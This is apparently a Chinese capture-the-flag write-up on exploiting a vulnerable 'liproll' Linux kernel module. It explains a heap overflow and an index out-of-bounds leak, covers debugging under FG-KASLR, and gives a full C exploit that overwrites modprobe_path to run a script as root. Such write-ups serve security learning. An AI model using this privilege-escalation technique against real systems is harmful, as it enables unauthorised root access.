中保存的堆块地址赋值到global_buffer
全局变量中。然后是reset_spell
也就是cmd=0xD3C7F02
发生的系统调用,这里是将global_buffer
清空。
最后是cast_a_spell
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 unsigned __int64 __fastcall cast_a_spell (__int64 *a1) { unsigned int size; int v2; __int64 buf; _BYTE kernel_buf[256 ]; void *v6; int copyed_size; unsigned __int64 v8; v8 = __readgsqword(0x28 u); if ( !global_buffer ) return ((__int64 (*)(void ))cast_a_spell_cold)(); v6 = global_buffer; size = *((_DWORD *)a1 + 2 ); v2 = 0x100 ; buf = *a1; if ( size <= 0x100 ) v2 = *((_DWORD *)a1 + 2 ); copyed_size = v2; if ( !copy_from_user(kernel_buf, buf, size) ) { memcpy (global_buffer, kernel_buf, *((unsigned int *)a1 + 2 )); global_buffer = v6; *((_DWORD *)&global_buffer + 2 ) = copyed_size; } return __readgsqword(0x28 u) ^ v8; }
函数中最为重要的就是两个拷贝操作了,首先是copy_from_user(kernel_buf, buf, size)
,这里的buf
是用户输入的buf
,也就是首先按照用户指定的大小将用户指定的内容拷贝到kernel_buf
数组中,接着是memcpy(global_buffer, kernel_buf, *((unsigned int *)a1 + 2));
也是按照用户指定的大小将kernel_buf
中的数据拷贝到global_buffer
也就是之前分配的堆块中。这里很明显的可以看到有堆溢出,虽然在拷贝之前进行了size
的验证,但是拷贝过程中却是使用的用户指定的size
。
利用 首先我们看一下溢出可以覆盖什么,这里溢出直接溢出的是global_buffer
和kernel_buffer
,kernel_buffer
溢出之后会覆写v6
,然而我们看到v6
最终会被赋值为global_buffer
,也就是我们可以通过溢出控制global_buffer
指针,达到任意地址写的效果。
但是这里还存在一个问题就是地址泄漏。这里就需要利用到另一个漏洞,也就是索引越界,所有的函数并没有对lists[index]
的索引值进行检查,因此存在一个索引越界的漏洞,而lists
数组的高地址位置恰好为vmlinux_base
也就是内核的基地址,这是在open
函数中进行赋值的。因此这里可以读取vmlinux_base
中指向的代码块的内容。从代码中可以根据重定位之后的数据泄漏的到vmlinux
的基地址。也就是得到了内核基地址。
这里使用的是覆写modprobe_path
的方法。将其覆写为指定的脚本,那么当程序执行一个错误的二进制文件的时候脚本就会被触发执行。
调试 这里遇到一个问题就是通过lsmod
或者直接cat /proc/module
显示出来的基地址和ida
中的函数偏移无法对应。之后才知道这是内核开启了FG_KASLR
机制,该机制是KASLR
的加强版,全称是Function Granular KASLR
,译为函数颗粒化地址随机分布。一般来说开启了KASLR
,会使得目标文件加载到内存的其实地址随机化,而FG-KASLR
则是按照函数级别对内核代码进行重新排列。也就是说我们无法直接通过泄漏出内核的其实地址而根据offset
确定对应的函数地址了,因为此时函数之间的顺序被打乱了。
在调试的时候可以通过
1 cat /sys/module/liproll/sections/.text.cast_a_spell
来依次确定我们想要的函数的地址,再下断点。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> typedef struct spell_struct { char * buf; unsigned long long sz; }Spell; int fd;void init () { fd = open("/dev/liproll" ,O_RDWR); return ; } void cast_spell (char * buf,unsigned long long sz) { Spell sp; memset (&sp,0 ,sizeof (Spell)); sp.buf = buf; sp.sz = sz; if (-1 == ioctl(fd,0xD3C7F01 ,&sp)) printf ("[-]err when ioctl cast spell.\n" ); return ; } void reset_spell () { char buf[0x8 ] = { 0 }; if (-1 == ioctl(fd,0xD3C7F02 ,buf)) printf ("[-]err when ioctl reset spell.\n" ); return ; } void create_spell () { char buf[0x8 ] = { 0 }; if (-1 == ioctl(fd,0xD3C7F03 ,buf)) printf ("[-]err when ioctl create spell.\n" ); return ; } void choose_spell (unsigned int idx) { if (-1 == ioctl(fd,0xD3C7F04 ,&idx)) printf ("[-]err when ioctl choose spell.\n" ); return ; } int main () { char buf[0x200 ] = { 0 }; system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh" ); system("chmod +x /tmp/getflag.sh" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll" ); system("chmod +x /tmp/ll" ); init(); create_spell(); create_spell(); unsigned int idx; idx = 0 ; choose_spell(0 ); read(fd,buf,0x100 ); choose_spell(16 ); read(fd,buf,0x100 ); unsigned int leak_vmliux = *(unsigned int *)((char *)(buf+0x69 )); unsigned long long vmlinux_base = 0xffffffff00000000 + leak_vmliux - 0x6f ; unsigned long long request_module = (0xffffffffb4662180 -0xffffffffb3e00000 ) + vmlinux_base; unsigned long long modprobe_path = (0xffffffffb5248460 -0xffffffffb3e00000 ) + vmlinux_base; printf ("[+]vmlinux base : 0x%llx\n" ,vmlinux_base); printf ("[+]request module : 0x%llx\n" ,request_module); printf ("[+]modprobe path : 0x%llx\n" ,modprobe_path); *(unsigned long long *)(buf+0x100 ) = modprobe_path; choose_spell(0 ); cast_spell(buf,0x108 ); strncpy (buf,"/tmp/getflag.sh" ,0x20 ); cast_spell(buf,0x20 ); system("/tmp/ll" ); system("cat /tmp/flag" ); return 0 ; }
参考 TEA、XTEA、XXTEA加密解密算法